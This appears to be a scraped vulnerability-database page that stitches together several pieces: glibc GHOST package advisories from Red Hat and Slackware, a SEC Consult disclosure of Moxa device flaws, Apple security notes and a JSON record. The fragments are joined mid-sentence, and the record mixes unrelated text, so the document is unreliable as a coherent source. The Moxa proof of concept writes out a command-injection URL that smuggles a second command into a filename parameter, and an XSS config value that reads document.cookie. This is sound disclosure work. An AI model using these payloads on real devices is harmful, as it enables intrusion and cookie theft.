x86_64: glibc-2.17-55.el7_0.5.i686.rpm glibc-2.17-55.el7_0.5.x86_64.rpm glibc-common-2.17-55.el7_0.5.x86_64.rpm glibc-debuginfo-2.17-55.el7_0.5.i686.rpm glibc-debuginfo-2.17-55.el7_0.5.x86_64.rpm glibc-debuginfo-common-2.17-55.el7_0.5.i686.rpm glibc-debuginfo-common-2.17-55.el7_0.5.x86_64.rpm glibc-devel-2.17-55.el7_0.5.i686.rpm glibc-devel-2.17-55.el7_0.5.x86_64.rpm glibc-headers-2.17-55.el7_0.5.x86_64.rpm glibc-utils-2.17-55.el7_0.5.x86_64.rpm nscd-2.17-55.el7_0.5.x86_64.rpm
Red Hat Enterprise Linux Workstation Optional (v. 7):
x86_64: glibc-debuginfo-2.17-55.el7_0.5.i686.rpm glibc-debuginfo-2.17-55.el7_0.5.x86_64.rpm glibc-debuginfo-common-2.17-55.el7_0.5.i686.rpm glibc-debuginfo-common-2.17-55.el7_0.5.x86_64.rpm glibc-static-2.17-55.el7_0.5.i686.rpm glibc-static-2.17-55.el7_0.5.x86_64.rpm
These packages are GPG signed by Red Hat for security. Our key and details on how to verify the signature are available from https://access.redhat.com/security/team/key/
- References:
https://access.redhat.com/security/cve/CVE-2015-0235 https://access.redhat.com/security/updates/classification/#critical
- Contact:
The Red Hat security contact is secalert@redhat.com. More contact details at https://access.redhat.com/security/team/contact/
Copyright 2015 Red Hat, Inc. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1
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-- RHSA-announce mailing list RHSA-announce@redhat.com https://www.redhat.com/mailman/listinfo/rhsa-announce .
Here are the details from the Slackware 14.1 ChangeLog: +--------------------------+ patches/packages/glibc-2.17-i486-10_slack14.1.txz: Rebuilt. This flaw could allow local or remote attackers to take control of a machine running a vulnerable version of glibc. Thanks to Qualys for discovering this issue (also known as the GHOST vulnerability.) For more information, see: https://www.qualys.com/research/security-advisories/GHOST-CVE-2015-0235.txt http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-0235 ( Security fix ) patches/packages/glibc-i18n-2.17-i486-10_slack14.1.txz: Rebuilt. patches/packages/glibc-profile-2.17-i486-10_slack14.1.txz: Rebuilt. patches/packages/glibc-solibs-2.17-i486-10_slack14.1.txz: Rebuilt. patches/packages/glibc-zoneinfo-2014j-noarch-1.txz: Upgraded. Upgraded to tzcode2014j and tzdata2014j. +--------------------------+
Where to find the new packages: +-----------------------------+
Thanks to the friendly folks at the OSU Open Source Lab (http://osuosl.org) for donating FTP and rsync hosting to the Slackware project! :-)
Also see the "Get Slack" section on http://slackware.com for additional mirror sites near you.
Updated packages for Slackware 13.0: ftp://ftp.slackware.com/pub/slackware/slackware-13.0/patches/packages/glibc-2.9-i486-7_slack13.0.txz ftp://ftp.slackware.com/pub/slackware/slackware-13.0/patches/packages/glibc-i18n-2.9-i486-7_slack13.0.txz ftp://ftp.slackware.com/pub/slackware/slackware-13.0/patches/packages/glibc-profile-2.9-i486-7_slack13.0.txz ftp://ftp.slackware.com/pub/slackware/slackware-13.0/patches/packages/glibc-solibs-2.9-i486-7_slack13.0.txz ftp://ftp.slackware.com/pub/slackware/slackware-13.0/patches/packages/glibc-zoneinfo-2014j-noarch-1.txz
Updated packages for Slackware x86_64 13.0: ftp://ftp.slackware.com/pub/slackware/slackware64-13.0/patches/packages/glibc-2.9-x86_64-7_slack13.0.txz ftp://ftp.slackware.com/pub/slackware/slackware64-13.0/patches/packages/glibc-i18n-2.9-x86_64-7_slack13.0.txz ftp://ftp.slackware.com/pub/slackware/slackware64-13.0/patches/packages/glibc-profile-2.9-x86_64-7_slack13.0.txz ftp://ftp.slackware.com/pub/slackware/slackware64-13.0/patches/packages/glibc-solibs-2.9-x86_64-7_slack13.0.txz ftp://ftp.slackware.com/pub/slackware/slackware64-13.0/patches/packages/glibc-zoneinfo-2014j-noarch-1.txz
Updated packages for Slackware 13.1: ftp://ftp.slackware.com/pub/slackware/slackware-13.1/patches/packages/glibc-2.11.1-i486-9_slack13.1.txz ftp://ftp.slackware.com/pub/slackware/slackware-13.1/patches/packages/glibc-i18n-2.11.1-i486-9_slack13.1.txz ftp://ftp.slackware.com/pub/slackware/slackware-13.1/patches/packages/glibc-profile-2.11.1-i486-9_slack13.1.txz ftp://ftp.slackware.com/pub/slackware/slackware-13.1/patches/packages/glibc-solibs-2.11.1-i486-9_slack13.1.txz ftp://ftp.slackware.com/pub/slackware/slackware-13.1/patches/packages/glibc-zoneinfo-2014j-noarch-1.txz
Updated packages for Slackware x86_64 13.1: ftp://ftp.slackware.com/pub/slackware/slackware64-13.1/patches/packages/glibc-2.11.1-x86_64-9_slack13.1.txz ftp://ftp.slackware.com/pub/slackware/slackware64-13.1/patches/packages/glibc-i18n-2.11.1-x86_64-9_slack13.1.txz ftp://ftp.slackware.com/pub/slackware/slackware64-13.1/patches/packages/glibc-profile-2.11.1-x86_64-9_slack13.1.txz ftp://ftp.slackware.com/pub/slackware/slackware64-13.1/patches/packages/glibc-solibs-2.11.1-x86_64-9_slack13.1.txz ftp://ftp.slackware.com/pub/slackware/slackware64-13.1/patches/packages/glibc-zoneinfo-2014j-noarch-1.txz
Updated packages for Slackware 13.37: ftp://ftp.slackware.com/pub/slackware/slackware-13.37/patches/packages/glibc-2.13-i486-8_slack13.37.txz ftp://ftp.slackware.com/pub/slackware/slackware-13.37/patches/packages/glibc-i18n-2.13-i486-8_slack13.37.txz ftp://ftp.slackware.com/pub/slackware/slackware-13.37/patches/packages/glibc-profile-2.13-i486-8_slack13.37.txz ftp://ftp.slackware.com/pub/slackware/slackware-13.37/patches/packages/glibc-solibs-2.13-i486-8_slack13.37.txz ftp://ftp.slackware.com/pub/slackware/slackware-13.37/patches/packages/glibc-zoneinfo-2014j-noarch-1.txz
Updated packages for Slackware x86_64 13.37: ftp://ftp.slackware.com/pub/slackware/slackware64-13.37/patches/packages/glibc-2.13-x86_64-8_slack13.37.txz ftp://ftp.slackware.com/pub/slackware/slackware64-13.37/patches/packages/glibc-i18n-2.13-x86_64-8_slack13.37.txz ftp://ftp.slackware.com/pub/slackware/slackware64-13.37/patches/packages/glibc-profile-2.13-x86_64-8_slack13.37.txz ftp://ftp.slackware.com/pub/slackware/slackware64-13.37/patches/packages/glibc-solibs-2.13-x86_64-8_slack13.37.txz ftp://ftp.slackware.com/pub/slackware/slackware64-13.37/patches/packages/glibc-zoneinfo-2014j-noarch-1.txz
Updated packages for Slackware 14.0: ftp://ftp.slackware.com/pub/slackware/slackware-14.0/patches/packages/glibc-2.15-i486-9_slack14.0.txz ftp://ftp.slackware.com/pub/slackware/slackware-14.0/patches/packages/glibc-i18n-2.15-i486-9_slack14.0.txz ftp://ftp.slackware.com/pub/slackware/slackware-14.0/patches/packages/glibc-profile-2.15-i486-9_slack14.0.txz ftp://ftp.slackware.com/pub/slackware/slackware-14.0/patches/packages/glibc-solibs-2.15-i486-9_slack14.0.txz ftp://ftp.slackware.com/pub/slackware/slackware-14.0/patches/packages/glibc-zoneinfo-2014j-noarch-1.txz
Updated packages for Slackware x86_64 14.0: ftp://ftp.slackware.com/pub/slackware/slackware64-14.0/patches/packages/glibc-2.15-x86_64-9_slack14.0.txz ftp://ftp.slackware.com/pub/slackware/slackware64-14.0/patches/packages/glibc-i18n-2.15-x86_64-9_slack14.0.txz ftp://ftp.slackware.com/pub/slackware/slackware64-14.0/patches/packages/glibc-profile-2.15-x86_64-9_slack14.0.txz ftp://ftp.slackware.com/pub/slackware/slackware64-14.0/patches/packages/glibc-solibs-2.15-x86_64-9_slack14.0.txz ftp://ftp.slackware.com/pub/slackware/slackware64-14.0/patches/packages/glibc-zoneinfo-2014j-noarch-1.txz
Updated packages for Slackware 14.1: ftp://ftp.slackware.com/pub/slackware/slackware-14.1/patches/packages/glibc-2.17-i486-10_slack14.1.txz ftp://ftp.slackware.com/pub/slackware/slackware-14.1/patches/packages/glibc-i18n-2.17-i486-10_slack14.1.txz ftp://ftp.slackware.com/pub/slackware/slackware-14.1/patches/packages/glibc-profile-2.17-i486-10_slack14.1.txz ftp://ftp.slackware.com/pub/slackware/slackware-14.1/patches/packages/glibc-solibs-2.17-i486-10_slack14.1.txz ftp://ftp.slackware.com/pub/slackware/slackware-14.1/patches/packages/glibc-zoneinfo-2014j-noarch-1.txz
Updated packages for Slackware x86_64 14.1: ftp://ftp.slackware.com/pub/slackware/slackware64-14.1/patches/packages/glibc-2.17-x86_64-10_slack14.1.txz ftp://ftp.slackware.com/pub/slackware/slackware64-14.1/patches/packages/glibc-i18n-2.17-x86_64-10_slack14.1.txz ftp://ftp.slackware.com/pub/slackware/slackware64-14.1/patches/packages/glibc-profile-2.17-x86_64-10_slack14.1.txz ftp://ftp.slackware.com/pub/slackware/slackware64-14.1/patches/packages/glibc-solibs-2.17-x86_64-10_slack14.1.txz ftp://ftp.slackware.com/pub/slackware/slackware64-14.1/patches/packages/glibc-zoneinfo-2014j-noarch-1.txz
Updated packages for Slackware -current: ftp://ftp.slackware.com/pub/slackware/slackware-current/slackware/a/glibc-solibs-2.20-i486-2.txz ftp://ftp.slackware.com/pub/slackware/slackware-current/slackware/a/glibc-zoneinfo-2014j-noarch-1.txz ftp://ftp.slackware.com/pub/slackware/slackware-current/slackware/l/glibc-2.20-i486-2.txz ftp://ftp.slackware.com/pub/slackware/slackware-current/slackware/l/glibc-i18n-2.20-i486-2.txz ftp://ftp.slackware.com/pub/slackware/slackware-current/slackware/l/glibc-profile-2.20-i486-2.txz
Updated packages for Slackware x86_64 -current: ftp://ftp.slackware.com/pub/slackware/slackware64-current/slackware64/a/glibc-solibs-2.20-x86_64-2.txz ftp://ftp.slackware.com/pub/slackware/slackware64-current/slackware64/a/glibc-zoneinfo-2014j-noarch-1.txz ftp://ftp.slackware.com/pub/slackware/slackware64-current/slackware64/l/glibc-2.20-x86_64-2.txz ftp://ftp.slackware.com/pub/slackware/slackware64-current/slackware64/l/glibc-i18n-2.20-x86_64-2.txz ftp://ftp.slackware.com/pub/slackware/slackware64-current/slackware64/l/glibc-profile-2.20-x86_64-2.txz
MD5 signatures: +-------------+
Slackware 13.0 packages: 41402c65ebdef4b022c799131556ef7e glibc-2.9-i486-7_slack13.0.txz 7095e3cd743af0179ea14b9bff81e3f4 glibc-i18n-2.9-i486-7_slack13.0.txz 901d50b809ed84837ff45b2ca7838bb3 glibc-profile-2.9-i486-7_slack13.0.txz 421a711b7cf1be2df2421ae5cd50b217 glibc-solibs-2.9-i486-7_slack13.0.txz 61278ba5a904a7474e9b0b64b0daab97 glibc-zoneinfo-2014j-noarch-1.txz
Slackware x86_64 13.0 packages: d4266628a8db63751f3f55b8bc2e2162 glibc-2.9-x86_64-7_slack13.0.txz b6161a0e23da771c5c6903605e49e403 glibc-i18n-2.9-x86_64-7_slack13.0.txz b8026d61e3849cce26539def0b665ca3 glibc-profile-2.9-x86_64-7_slack13.0.txz 1f7f4cf57d44d75d4ef2786152f33403 glibc-solibs-2.9-x86_64-7_slack13.0.txz 61278ba5a904a7474e9b0b64b0daab97 glibc-zoneinfo-2014j-noarch-1.txz
Slackware 13.1 packages: 03e0d0224efe8bc794b5be0454612a1e glibc-2.11.1-i486-9_slack13.1.txz fabbdd8d7f14667c7a2dc7ede87b5510 glibc-i18n-2.11.1-i486-9_slack13.1.txz 1c1d86a9dabe329c3d30796188b66ebe glibc-profile-2.11.1-i486-9_slack13.1.txz e2ebe08bb02550c69202a6f973ef7e47 glibc-solibs-2.11.1-i486-9_slack13.1.txz 61278ba5a904a7474e9b0b64b0daab97 glibc-zoneinfo-2014j-noarch-1.txz
Slackware x86_64 13.1 packages: c00de492a4842e3a86101028e8cc03f0 glibc-2.11.1-x86_64-9_slack13.1.txz 9657c55f39b233333e48d08acee9ed78 glibc-i18n-2.11.1-x86_64-9_slack13.1.txz ada2d7f7b7ffdfd7a4407696ad714e48 glibc-profile-2.11.1-x86_64-9_slack13.1.txz b3c393e74aafbb5276cea1217dfcd1aa glibc-solibs-2.11.1-x86_64-9_slack13.1.txz 61278ba5a904a7474e9b0b64b0daab97 glibc-zoneinfo-2014j-noarch-1.txz
Slackware 13.37 packages: 16615e6ef8311b928e3a05e0b7f3e505 glibc-2.13-i486-8_slack13.37.txz 319dfc0cbdaf8410981195fffb1371c6 glibc-i18n-2.13-i486-8_slack13.37.txz 6964339495ab981d17ba27cd5878a400 glibc-profile-2.13-i486-8_slack13.37.txz 1834abd11fab02725e897040bbead56f glibc-solibs-2.13-i486-8_slack13.37.txz 61278ba5a904a7474e9b0b64b0daab97 glibc-zoneinfo-2014j-noarch-1.txz
Slackware x86_64 13.37 packages: 1753003d261831ac235445e23a9f9870 glibc-2.13-x86_64-8_slack13.37.txz 8aa103984bb2cb293072a022dd9144f2 glibc-i18n-2.13-x86_64-8_slack13.37.txz a56e90a34eec8f60e265c45d05490a57 glibc-profile-2.13-x86_64-8_slack13.37.txz c6f684ea049e4091b96d15606eb454d1 glibc-solibs-2.13-x86_64-8_slack13.37.txz 61278ba5a904a7474e9b0b64b0daab97 glibc-zoneinfo-2014j-noarch-1.txz
Slackware 14.0 packages: a2fadb666bfdf5c7c4c9792cbf34785d glibc-2.15-i486-9_slack14.0.txz 3b3626f4a170a603af36ca60c7840fa6 glibc-i18n-2.15-i486-9_slack14.0.txz ad237d138bb874e57c4080071d27e798 glibc-profile-2.15-i486-9_slack14.0.txz f07d37e52014cec80e43d883eda516ae glibc-solibs-2.15-i486-9_slack14.0.txz 61278ba5a904a7474e9b0b64b0daab97 glibc-zoneinfo-2014j-noarch-1.txz
Slackware x86_64 14.0 packages: a5d02d71a230b6daa39d2ebefd8a6548 glibc-2.15-x86_64-9_slack14.0.txz 62c30b615e38ba63cafb8053383eabde glibc-i18n-2.15-x86_64-9_slack14.0.txz 152d094ab6bc4c7f763dd4ad1a53784c glibc-profile-2.15-x86_64-9_slack14.0.txz b256163bb179d1aebfda5f45270a0580 glibc-solibs-2.15-x86_64-9_slack14.0.txz 61278ba5a904a7474e9b0b64b0daab97 glibc-zoneinfo-2014j-noarch-1.txz
Slackware 14.1 packages: 8f2fb91bb39d8a1db3bd6510295e6b1e glibc-2.17-i486-10_slack14.1.txz 8d179820a827a4dce028b57d3fa39237 glibc-i18n-2.17-i486-10_slack14.1.txz 19a4824c6ff8792a1166a38ceff824e0 glibc-profile-2.17-i486-10_slack14.1.txz 417dede2ae464059002b6fcc2048f942 glibc-solibs-2.17-i486-10_slack14.1.txz 61278ba5a904a7474e9b0b64b0daab97 glibc-zoneinfo-2014j-noarch-1.txz
Slackware x86_64 14.1 packages: 490ce11a13439e30ff312769cc4fabb1 glibc-2.17-x86_64-10_slack14.1.txz cd145e0d6a12b15d5282d7d1b3de92ed glibc-i18n-2.17-x86_64-10_slack14.1.txz 93aea777dd41dc1c631dce1cf252bf14 glibc-profile-2.17-x86_64-10_slack14.1.txz 6b759039a5b3f8c88b3753e722ded78e glibc-solibs-2.17-x86_64-10_slack14.1.txz 61278ba5a904a7474e9b0b64b0daab97 glibc-zoneinfo-2014j-noarch-1.txz
Slackware -current packages: 395d4ad5fb71c4a56a500c3e51d07c8b a/glibc-solibs-2.20-i486-2.txz 61278ba5a904a7474e9b0b64b0daab97 a/glibc-zoneinfo-2014j-noarch-1.txz 3ca2827446e66d0d2d0e0bc8c55ba1ed l/glibc-2.20-i486-2.txz 94105b1a10c42ce0995f8ace6b4f06a8 l/glibc-i18n-2.20-i486-2.txz fcc2ad4f5aad3a7d704d708a170c5351 l/glibc-profile-2.20-i486-2.txz
Slackware x86_64 -current packages: 25129dd9dfed8a8e834c87ba40c1ef17 a/glibc-solibs-2.20-x86_64-2.txz 61278ba5a904a7474e9b0b64b0daab97 a/glibc-zoneinfo-2014j-noarch-1.txz b8ff5e308769d8e4eddccd9940058d5c l/glibc-2.20-x86_64-2.txz 8c3db9286aa93346d25ffad38178137b l/glibc-i18n-2.20-x86_64-2.txz 21f2a62d975b433f570cd5129cdc21fb l/glibc-profile-2.20-x86_64-2.txz
Installation instructions: +------------------------+
Upgrade the packages as root:
upgradepkg glibc-*
+-----+
Slackware Linux Security Team http://slackware.com/gpg-key security@slackware.com
+------------------------------------------------------------------------+ | To leave the slackware-security mailing list: | +------------------------------------------------------------------------+ | Send an email to majordomo@slackware.com with this text in the body of | | the email message: | | | | unsubscribe slackware-security | | | | You will get a confirmation message back containing instructions to | | complete the process. Please do not reply to this email address. SEC Consult Vulnerability Lab Security Advisory < 20210901-0 > ======================================================================= title: Multiple vulnerabilities product: see "Vulnerable / tested versions" vulnerable version: see "Vulnerable / tested versions" fixed version: see "Solution" CVE number: CVE-2021-39278, CVE-2021-39279 impact: High homepage: https://www.moxa.com/ found: 2020-08-31 by: T. Weber (Office Vienna) SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos company
Europe | Asia | North America
https://www.sec-consult.com
=======================================================================
Vendor description:
"Together, We Create Change
Moxa is committed to making a positive impact around the world. We put our all behind this commitment--from our employees, to our products and supply chain.
In our local communities, we nurture and support the spirit of volunteering. We encourage our employees to contribute to community development, with an emphasis on ecology, education, and health.
In our products, we invest in social awareness programs and environment-friendly policies at every stage of the product lifecycle. We make sure our manufacturing meets the highest standards with regards to quality, ethics, and sustainability."
Source: https://www.moxa.com/en/about-us/corporate-responsibility
Business recommendation:
SEC Consult recommends to immediately apply the available patches from the vendor. A thorough security review should be performed by security professionals to identify further potential security issues.
Vulnerability overview/description:
1) Authenticated Command Injection (CVE-2021-39279) An authenticated command injection vulnerability can be triggered by issuing a GET request to the "/forms/web_importTFTP" CGI program which is available on the web interface. An attacker can abuse this vulnerability to compromise the operating system of the device. This issue was found by emulating the firmware of the device.
2) Reflected Cross-Site Scripting via Manipulated Config-File (CVE-2021-39278) Via a crafted config-file, a reflected cross-site scripting vulnerability can be exploited in the context of the victim's browser. This config-file can be uploaded to the device via the "Config Import Export" tab in the main menu. One of the discovered vulnerabilities (CVE-2015-0235, gethostbyname "GHOST" buffer overflow) was verified by using the MEDUSA scalable firmware runtime.
4) Multiple Outdated Software Components Multiple outdated software components containing vulnerabilities were found by the IoT Inspector.
The vulnerabilities 1), 2) and 3) were manually verified on an emulated device by using the MEDUSA scalable firmware runtime.
Proof of concept:
1) Authenticated Command Injection (CVE-2021-39279) The vulnerability can be triggered by navigating in the web interface to the tab:
"Main Menu"->"Maintenance"->"Config Import Export"
The "TFTP Import" menu is prone to command injection via all parameters. To exploit the vulnerability, an IP address, a configuration path and a filename must be set. If the filename is used to trigger the exploit, the payload in the interceptor proxy would be:
http://192.168.1.1/forms/web_importTFTP?servIP=192.168.1.1&configPath=/&fileName=name|ping localhost -c 100
2) Reflected Cross-Site Scripting via Manipulated Config-File (CVE-2021-39278) The vulnerability can be triggered by navigating in the web interface to the tab:
"Main Menu"->"Maintenance"->"Config Import Export"
The "Config Import" menu is prone to reflected cross-site scripting via the upload of config files. Example of malicious config file:
[board] deviceName="WAC-2004_0000alert(document.cookie)" deviceLocation="" [..]
Uploading such a crafted file triggers cross-site scripting as the erroneous value is displayed without filtering characters.
The gethostbyname buffer overflow vulnerability (GHOST) was checked with the help of the exploit code from https://seclists.org/oss-sec/2015/q1/274. It was compiled and executed on the emulated device to test the system.
4) Multiple Outdated Software Components The IoT Inspector recognized multiple outdated software components with known vulnerabilities:
BusyBox 1.18.5 06/2011 Dropbear SSH 2011.54 11/2011 GNU glibc 2.9 02/2009 Linux Kernel 2.6.27 10/2008 OpenSSL 0.9.7g 04/2005 Only found in the program "iw_director" OpenSSL 1.0.0 03/2010
Vulnerable / tested versions:
The following firmware versions for various devices have been identified to be vulnerable: * WAC-2004 / 1.7 * WAC-1001 / 2.1 * WAC-1001-T / 2.1 * OnCell G3470A-LTE-EU / 1.7 * OnCell G3470A-LTE-EU-T / 1.7 * TAP-323-EU-CT-T / 1.3 * TAP-323-US-CT-T / 1.3 * TAP-323-JP-CT-T / 1.3 * WDR-3124A-EU / 2.3 * WDR-3124A-EU-T / 2.3 * WDR-3124A-US / 2.3 * WDR-3124A-US-T / 2.3
Vendor contact timeline:
2020-10-09: Contacting vendor through moxa.csrt@moxa.com. 2020-10-12: Contact sends PGP key for encrypted communication and asks for the detailed advisory. Sent encrypted advisory to vendor. 2020-11-06: Status update from vendor regarding technical analysis. Vendor requested more time for fixing the vulnerabilities as more products are affected. 2020-11-09: Granted more time for fixing to vendor. 2020-11-10: Vendor asked for next steps regarding the advisory publication. 2020-11-11: Asked vendor for an estimation when a public disclosure is possible. 2020-11-16: Vendor responded that the product team can give a rough feedback. 2020-11-25: Asked for a status update. 2020-11-25: Vendor responded that the investigation is not done yet. 2020-12-14: Vendor provided a list of potential affected devices and stated that full investigation may take until January 2021 due to the list of CVEs that were provided with the appended IoT Inspector report. The patches may be available until June 2021. 2020-12-15: Shifted next status update round with vendor on May 2021. 2020-12-23: Vendor provided full list of affected devices. 2021-02-05: Vendor sieved out the found issues from 4) manually and provided a full list of confirmed vulnerabilities. WAC-2004 phased-out in 2019. 2021-02-21: Confirmed receive of vulnerabilities, next status update in May 2021. 2021-06-10: Asking for an update. 2021-06-15: Vendor stated, that the update will be provided in the next days. 2021-06-21: Vendor will give an update in the next week as Covid gets worse in Taiwan. 2021-06-23: Vendor stated, that patches are under development. Vendor needs more time to finish the patches. 2021-06-24: Set release date to 2021-09-01. 2021-07-02: Vendor provides status updates. 2021-08-16: Vendor provides status updates. 2021-08-17: Vendor asks for CVE IDs and stated, that WDR-3124A has phased-out. 2021-08-20: Sent assigned CVE-IDs to vendor. Asked for fixed version numbers. 2021-08-31: Vendor provides fixed firmware version numbers and the advisory links. 2021-09-01: Coordinated release of security advisory.
Solution:
According to the vendor the following patches must be applied to fix issues: * WAC-1001 / 2.1.5 * WAC-1001-T / 2.1.5 * OnCell G3470A-LTE-EU / 1.7.4 * OnCell G3470A-LTE-EU-T / 1.7.4 * TAP-323-EU-CT-T / 1.8.1 * TAP-323-US-CT-T / 1.8.1 * TAP-323-JP-CT-T / 1.8.1
The Moxa Technical Support must be contacted for requesting the security patches.
The corresponding security advisories for the affected devices are available on the vendor's website: TAP-323/WAC-1001/WAC-2004 https://www.moxa.com/en/support/product-support/security-advisory/tap-323-wac-1001-2004-wireless-ap-bridge-client-vulnerabilities OnCell G3470A-LTE/WDR-3124A https://www.moxa.com/en/support/product-support/security-advisory/oncell-g3470a-wdr-3124a-cellular-gateways-router-vulnerabilities
The following device models are EOL and should be replaced: * WAC-2004 * WDR-3124A-EU * WDR-3124A-EU-T * WDR-3124A-US * WDR-3124A-US-T
Workaround:
None.
Advisory URL:
https://sec-consult.com/vulnerability-lab/
SEC Consult Vulnerability Lab
SEC Consult, an Atos company
Europe | Asia | North America
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Atos company. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.
Interested to work with the experts of SEC Consult? Send us your application https://sec-consult.com/career/
Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://sec-consult.com/contact/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult
EOF Thomas Weber / @2021
. If Apache was manually enabled and the configuration was not changed, some files that should not be accessible might have been accessible using a specially crafted URL. This issue was addressed through the addition of a mechanism to trust only a subset of certificates issued prior to the mis-issuance of the intermediate. This issue, also known as Logjam, allowed an attacker with a privileged network position to downgrade security to 512-bit DH if the server supported an export-strength ephemeral DH cipher suite. The issue was addressed by increasing the default minimum size allowed for DH ephemeral keys to 768 bits. CVE-ID CVE-2015-3695 : Ian Beer of Google Project Zero CVE-2015-3696 : Ian Beer of Google Project Zero CVE-2015-3697 : Ian Beer of Google Project Zero CVE-2015-3698 : Ian Beer of Google Project Zero CVE-2015-3699 : Ian Beer of Google Project Zero CVE-2015-3700 : Ian Beer of Google Project Zero CVE-2015-3701 : Ian Beer of Google Project Zero CVE-2015-3702 : KEEN Team
ImageIO Available for: OS X Mountain Lion v10.8.5, OS X Mavericks v10.9.5, OS X Yosemite v10.10 to v10.10.3 Impact: Multiple vulnerabilities existed in libtiff, the most serious of which may lead to arbitrary code execution Description: Multiple vulnerabilities existed in libtiff versions prior to 4.0.4. CVE-ID CVE-2015-3661 : G. Geshev working with HP's Zero Day Initiative CVE-2015-3662 : kdot working with HP's Zero Day Initiative CVE-2015-3663 : kdot working with HP's Zero Day Initiative CVE-2015-3666 : Steven Seeley of Source Incite working with HP's Zero Day Initiative CVE-2015-3667 : Ryan Pentney, Richard Johnson of Cisco Talos and Kai Lu of Fortinet's FortiGuard Labs, Ryan Pentney, and Richard Johnson of Cisco Talos and Kai Lu of Fortinet's FortiGuard Labs CVE-2015-3668 : Kai Lu of Fortinet's FortiGuard Labs CVE-2015-3713 : Apple
Security Available for: OS X Mountain Lion v10.8.5, OS X Mavericks v10.9.5, OS X Yosemite v10.10 to v10.10.3 Impact: A remote attacker may cause an unexpected application termination or arbitrary code execution Description: An integer overflow existed in the Security framework code for parsing S/MIME e-mail and some other signed or encrypted objects. CVE-ID CVE-2013-1741
Security Available for: OS X Mountain Lion v10.8.5, OS X Mavericks v10.9.5, OS X Yosemite v10.10 to v10.10.3 Impact: Tampered applications may not be prevented from launching Description: Apps using custom resource rules may have been susceptible to tampering that would not have invalidated the signature
Show details on source website{
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"description": {
"_id": null,
"data": "Heap-based buffer overflow in the __nss_hostname_digits_dots function in glibc 2.2, and other 2.x versions before 2.18, allows context-dependent attackers to execute arbitrary code via vectors related to the (1) gethostbyname or (2) gethostbyname2 function, aka \"GHOST.\". This vulnerability has been assigned CVE-2015-0235, and is referred to in the media by the name \"GHOST\". eglibc The package contains a classic buffer overflow vulnerability.Denial of service (DoS) May be in a state. GNU glibc is prone to a heap-based buffer-overflow vulnerability. \nAn attacker can exploit this issue to execute arbitrary code in the context of the affected application. Failed exploit attempts may crash the application, denying service to legitimate users. \nCVE-ID\nCVE-2015-7023 : Marvin Scholz; Xiaofeng Zheng and Jinjin Liang of\nTsinghua University, Jian Jiang of University of California,\nBerkeley, Haixin Duan of Tsinghua University and International\nComputer Science Institute, Shuo Chen of Microsoft Research Redmond,\nTao Wan of Huawei Canada, Nicholas Weaver of International Computer\nScience Institute and University of California, Berkeley, coordinated\nvia CERT/CC\n\nconfigd\nAvailable for: OS X El Capitan 10.11\nImpact: A malicious application may be able to elevate privileges\nDescription: A heap based buffer overflow issue existed in the DNS\nclient library. A malicious application with the ability to spoof\nresponses from the local configd service may have been able to cause\narbitrary code execution in DNS clients. \nCVE-ID\nCVE-2015-6994 : Mark Mentovai of Google Inc. A developer-signed app could bypass restrictions on\nuse of restricted entitlements and elevate privileges. These\nissues were addressed by using patches affecting OS X from upstream. This was addressed by disabling synthetic\nclicks for keychain access windows. -----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA256\n\nAPPLE-SA-2015-09-30-3 OS X El Capitan 10.11\n\nOS X El Capitan 10.11 is now available and addresses the following:\n\nAddress Book\nAvailable for: Mac OS X v10.6.8 and later\nImpact: A local attacker may be able to inject arbitrary code to\nprocesses loading the Address Book framework\nDescription: An issue existed in Address Book framework\u0027s handling\nof an environment variable. This issue was addressed through improved\nenvironment variable handling. \nCVE-ID\nCVE-2015-5897 : Dan Bastone of Gotham Digital Science\n\nAirScan\nAvailable for: Mac OS X v10.6.8 and later\nImpact: An attacker with a privileged network position may be able\nto extract payload from eSCL packets sent over a secure connection\nDescription: An issue existed in the processing of eSCL packets. \nThis issue was addressed through improved validation checks. \nCVE-ID\nCVE-2015-5853 : an anonymous researcher\n\napache_mod_php\nAvailable for: Mac OS X v10.6.8 and later\nImpact: Multiple vulnerabilities in PHP\nDescription: Multiple vulnerabilities existed in PHP versions prior\nto 5.5.27, including one which may have led to remote code execution. \nThis issue was addressed by updating PHP to version 5.5.27. \nCVE-ID\nCVE-2014-9425\nCVE-2014-9427\nCVE-2014-9652\nCVE-2014-9705\nCVE-2014-9709\nCVE-2015-0231\nCVE-2015-0232\nCVE-2015-0235\nCVE-2015-0273\nCVE-2015-1351\nCVE-2015-1352\nCVE-2015-2301\nCVE-2015-2305\nCVE-2015-2331\nCVE-2015-2348\nCVE-2015-2783\nCVE-2015-2787\nCVE-2015-3329\nCVE-2015-3330\n\nApple Online Store Kit\nAvailable for: Mac OS X v10.6.8 and later\nImpact: A malicious application may gain access to a user\u0027s keychain\nitems\nDescription: An issue existed in validation of access control lists\nfor iCloud keychain items. This issue was addressed through improved\naccess control list checks. \nCVE-ID\nCVE-2015-5836 : XiaoFeng Wang of Indiana University, Luyi Xing of\nIndiana University, Tongxin Li of Peking University, Tongxin Li of\nPeking University, Xiaolong Bai of Tsinghua University\n\nAppleEvents\nAvailable for: Mac OS X v10.6.8 and later\nImpact: A user connected through screen sharing can send Apple\nEvents to a local user\u0027s session\nDescription: An issue existed with Apple Event filtering that\nallowed some users to send events to other users. This was addressed\nby improved Apple Event handling. \nCVE-ID\nCVE-2015-5849 : Jack Lawrence (@_jackhl)\n\nAudio\nAvailable for: Mac OS X v10.6.8 and later\nImpact: Playing a malicious audio file may lead to an unexpected\napplication termination\nDescription: A memory corruption issue existed in the handling of\naudio files. This issue issue was addressed through improved memory\nhandling. \nCVE-ID\nCVE-2015-5862 : YoungJin Yoon of Information Security Lab. (Adv.:\nProf. Taekyoung Kwon), Yonsei University, Seoul, Korea\n\nbash\nAvailable for: Mac OS X v10.6.8 